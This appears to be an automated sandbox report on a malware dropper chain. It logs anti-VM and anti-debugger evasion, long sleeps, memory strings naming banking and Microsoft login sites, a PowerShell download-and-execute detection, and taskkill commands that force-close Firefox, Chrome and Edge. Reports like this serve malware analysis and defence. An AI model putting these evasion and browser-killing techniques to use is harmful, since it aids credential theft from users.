Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Special instruction interceptor: First address: 11F2E68 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Special instruction interceptor: First address: C8DC60 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Special instruction interceptor: First address: ECFF31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Special instruction interceptor: First address: C92A3E instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Memory allocated: 4BF0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Memory allocated: 4E10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Memory allocated: 4D40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Memory allocated: 5220000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Memory allocated: 53D0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Memory allocated: 73D0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_054E0C83 rdtsc 0_2_054E0C83
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1143 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1404 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1128 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1361 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Window / User API: threadDelayed 624
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5780 Thread sleep count: 54 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5780 Thread sleep time: -108054s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4676 Thread sleep count: 1143 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4676 Thread sleep time: -2287143s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6592 Thread sleep count: 228 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6592 Thread sleep time: -6840000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6556 Thread sleep count: 1404 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6556 Thread sleep time: -2809404s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4760 Thread sleep count: 1128 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4760 Thread sleep time: -2257128s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564 Thread sleep count: 1361 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564 Thread sleep time: -2723361s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe TID: 3376 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe TID: 3376 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe TID: 5488 Thread sleep time: -32016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe TID: 3716 Thread sleep time: -30015s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe TID: 3848 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe TID: 2944 Thread sleep time: -32016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe TID: 5336 Thread sleep count: 101 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe TID: 5336 Thread sleep count: 115 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe TID: 984 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe TID: 3844 Thread sleep count: 624 > 30
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe TID: 3844 Thread sleep count: 147 > 30
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe TID: 5280 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Thread delayed: delay time: 922337203685477
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696428655
Source: 5a0a40fcc4.exe, 00000009.00000003.3077598522.0000000005A10000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696428655p
Source: skotes.exe, 00000006.00000002.3316723821.0000000001608000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000007.00000002.2858710860.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000007.00000002.2858710860.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 00000008.00000002.2940799931.0000000001788000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 00000008.00000002.2940799931.000000000178D000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000002.3318093762.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3009683647.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128721222.000002A1021A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128721222.000002A1021AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3115703461.000001477727A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000019.00000002.3125453526.0000014777B40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWf
Source: firefox.exe, 00000017.00000002.3130809061.000002A10C1BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3124793355.000001477771D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: firefox.exe, 0000001A.00000002.3125360312.0000014EE4C40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696428655
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 5a0a40fcc4.exe, 00000009.00000003.3077598522.0000000005A10000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: YNVMware
Source: eec95b2021.exe, 0000001B.00000002.3143929621.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: firefox.exe, 00000019.00000002.3125453526.0000014777B40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW~
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: 5a0a40fcc4.exe, 5a0a40fcc4.exe, 00000009.00000002.3312347770.00000000009FF000.00000040.00000001.01000000.00000009.sdmp, eec95b2021.exe, 0000001B.00000002.3145831378.0000000001147000.00000040.00000001.01000000.0000000A.sdmp, a6260c40a9.exe, 0000001C.00000002.3213261483.0000000000E17000.00000040.00000001.01000000.00000015.sdmp, a6260c40a9.exe, 00000020.00000002.3240451380.0000000000E17000.00000040.00000001.01000000.00000015.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696428655f
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2077923969.0000000001733000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: eec95b2021.exe, 00000008.00000002.2940799931.0000000001752000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: firefox.exe, 0000001A.00000002.3125360312.0000014EE4C40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: firefox.exe, 0000001A.00000002.3115464555.0000014EE41FA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 00000019.00000002.3125453526.0000014777B40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3125360312.0000014EE4C40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 4.exe, 00000021.00000002.3260044462.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllw
Source: skotes.exe, 00000006.00000002.3316723821.00000000015C5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWX
Source: eec95b2021.exe, 00000008.00000002.2940799931.000000000170E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware&
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.00000000013AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWXB@
Source: skotes.exe, 00000006.00000002.3316723821.0000000001608000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWI
Source: file.exe, 00000000.00000002.2105386818.0000000000CDB000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2135230732.000000000103B000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2149381108.000000000103B000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3313157378.000000000103B000.00000040.00000001.01000000.00000007.sdmp, 5a0a40fcc4.exe, 00000007.00000002.2857665387.00000000009FF000.00000040.00000001.01000000.00000009.sdmp, eec95b2021.exe, 00000008.00000002.2939765559.0000000001147000.00000040.00000001.01000000.0000000A.sdmp, 5a0a40fcc4.exe, 00000009.00000002.3312347770.00000000009FF000.00000040.00000001.01000000.00000009.sdmp, eec95b2021.exe, 0000001B.00000002.3145831378.0000000001147000.00000040.00000001.01000000.0000000A.sdmp, a6260c40a9.exe, 0000001C.00000002.3213261483.0000000000E17000.00000040.00000001.01000000.00000015.sdmp, a6260c40a9.exe, 00000020.00000002.3240451380.0000000000E17000.00000040.00000001.01000000.00000015.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 00000019.00000002.3115703461.000001477727A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@
Source: 5a0a40fcc4.exe, 00000009.00000003.3077890126.0000000005A02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_054E0C83 rdtsc 0_2_054E0C83
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E8652B mov eax, dword ptr fs:[00000030h] 6_2_00E8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E8A302 mov eax, dword ptr fs:[00000030h] 6_2_00E8A302
Enables debug privileges
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: eec95b2021.exe PID: 5260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eec95b2021.exe PID: 6476, type: MEMORYSTR
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe "C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe "C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe "C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe "C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008259001\4.exe "C:\Users\user\AppData\Local\Temp\1008259001\4.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T Jump to behavior
